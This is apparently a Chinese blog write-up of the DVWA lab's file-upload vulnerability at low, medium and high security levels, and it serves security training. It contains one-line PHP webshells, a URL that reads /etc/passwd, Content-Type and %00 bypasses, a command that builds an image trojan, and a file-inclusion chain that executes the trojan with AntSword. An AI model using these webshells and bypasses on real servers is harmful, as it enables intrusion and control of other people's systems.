DVWA靶场--文件上传漏洞(low、medium、high等级)

DVWA靶场实践-低中高三个安全等级

关于Webshell
Webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。
小马:一句话木马也称为了小马,即整个shell代码量只有一行,一般是系统执行函数。
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵系统检测到。
shell2.php #eval使用php函数,例如phpinfo( )

<?php eval($_REQUEST[‘cmd’]);?>

http://127.0.0.1/dvwa/hackable/iploads/shell2.php?cmd=phpinfo();

shell3.php #system使用linux系统命令,例如ls,cp,rm

<?php system($_REQUEST[‘yangge’]);?>

http://127.0.0.1/dvwa/hackable/iploads/shell3php?yangge=cat /etc/password

<?php eval($_POST[‘chopper’]);?>

说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。

安全等级:Low

查看码源:对上传的文件没有进行检测。

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?>

①上传包含一句话木马的文件shell1.php:红色部分可自己书写(在中国蚁剑连接时做密码使用)
在这里插入图片描述
②上传成功
在这里插入图片描述
③打开链接http://127.0.0.1/dvwa/hackable/uploads/shell1.php,页面显示没有东西,打开中国蚁剑连接,右键-添加数据,将上面的链接复制到url地址框,右边为你自定义的密码,然后点击添加,再次右键-文件管理,可以看到该网站的目录,我们可以对其进行操作,如删除文件等。

关于中国蚁剑的安装,需要下载蚁剑源代码和蚁剑加载器两个:
蚁剑源代码:https://github.com/AntSwordProject
蚁剑加载器:https://github.com/AntSwordProject/AntSword-Loader
下载完成之后,先打开文件加载器文件夹里面的AntSword.exe,点击初始化(选择蚁剑工作目录—蚁剑源代码文件夹)。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全等级:Medium

查看源码:对所上传的文件类型进行了限制,限制了上传的Content-Type.

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?>

①上传包含一句话木马的shell1.php文件,发现上传失败。
在这里插入图片描述
②可以使用burpsuite进行代理拦截,修改我们上传类型,将其修改为允许上传的文件类型。使用burpsuite需要浏览器打开代理(可以使用插件foxyproxy或直接在设置修改)。
在这里插入图片描述
③Burpsuite抓取到的数据包,将Content-Type的类型改为允许上传的类型—> image/jpeg,然后再方放行数据包(forward),显示shell1.php文件上传成功。
在这里插入图片描述
在这里插入图片描述
④ 下面步骤与上面(安全等级为low)一致,打开中国蚁剑连接-右键-文件管理就可以查看网站目录。

**扩展:MIME文件类型**
	MIME, 全称为“Multipurpose Internet Mail Extensions”, 比较确切的中文名称为“多	用途互联网邮件扩展”。
**什么是MIME类型?**
在把输出结果传送到浏览器上的时候,浏览器必须启动适当的应用程序来处理这个输出文档。这可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。在HTTP中,MIME类型被定义在Content-Type header中。

MIME意为多目Internet邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。常见的MIME类型:
	超文本标记语言文本 .html,.html text/html
	普通文本 .txt text/plain
	RTF文本 .rtf application/rtf
	GIF图形 .gif image/gif
	JPEG图形 .ipeg,.jpg image/jpeg
	au声音文件 .au audio/basic
	MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
	RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
	MPEG文件 .mpg,.mpeg video/mpeg
	AVI文件 .avi video/x-msvideo
	GZIP文件 .gz application/x-gzip
	TAR文件 .tar application/x-tar
	
完整的MIME类型列表可参照官网:[https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types](%E5%AE%8C%E6%95%B4%E7%9A%84MIME%E7%B1%BB%E5%9E%8B%E5%88%97%E8%A1%A8%E5%8F%AF%E5%8F%82%E7%85%A7%E5%AE%98%E7%BD%91%EF%BC%9Ahttps://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types)

安全等级:High

查看码源:对文件后缀名有限制

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 

    // Is it an image? 
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 
        ( $uploaded_size < 100000 ) && 
        getimagesize( $uploaded_tmp ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?>

使用burpsuite进行抓包,将文件名改成符合的后缀名,发现还是无法上传
在这里插入图片描述
将上传的文件名shell1.php改成shell1.php.jpg:
在这里插入图片描述
在这里插入图片描述
看到有人通过使用文件名后缀%00截断绕过过滤:将文件名”filename=shell1.php”改成”filename=shell1.php%00.jpg”,中国蚁剑连接,可以进入其目录。但是我这里还是不能上传成功。
在这里插入图片描述
这里还有我使用的是:一句话木马的图片进行上传
①首先,制作图片木马:先自行准备一张小内存图片(1.jpg)(因为图片太大可能无法上传,建议选择10kb左右的文件)和一句话木马文件(shell1.php)
然后,将木马植入图片中,一句话木马最好不要植入在图片的开头(有可能会造成文件损坏)。
Windows在cmd执行语句:copy 1jpg/b+shell1php/a shell3.php;Linux木马植入执行语句:cat shell3.php >> shell3.jpg。
在这里插入图片描述
使用记事本打开新制作的图片木马shell3.jpg:在这里插入图片描述
②始进行文件上传,发现文件上传成功,发现可以正常访问,但是只会返回静态内容,文件不会被执行。
在这里插入图片描述
在这里插入图片描述
③要转到文件包含漏洞页面,通过page来访问图片文件并执行。url为:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\dvwa\hackable\uploads/shell5.jpg
注意:在我搭建的dvwa环境里,我的文件上传目录为:D:\phpstudy_pro\WWW\dvwa\hackable\uploads/shell5.jpg 访问次url链接,文件被执行,网页上现实的全是乱码。
在这里插入图片描述
使用中国蚁剑链接,连接的url为:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\dvwa\hackable\uploads/shell5.jpg ,但是显示连接失败。
在这里插入图片描述
经了解,发现中国蚁剑在连接时并没有携带cookie,就是因为缺少cookie值才无法连接。收纳右键-浏览网站-登录dvwa,因为dvwa网站默认安全等级为impossible,所以将其改为high,并点击保存其cookie值。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
最后右键-文件管理,成功获取目录。
在这里插入图片描述
在这里插入图片描述

  • 8
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值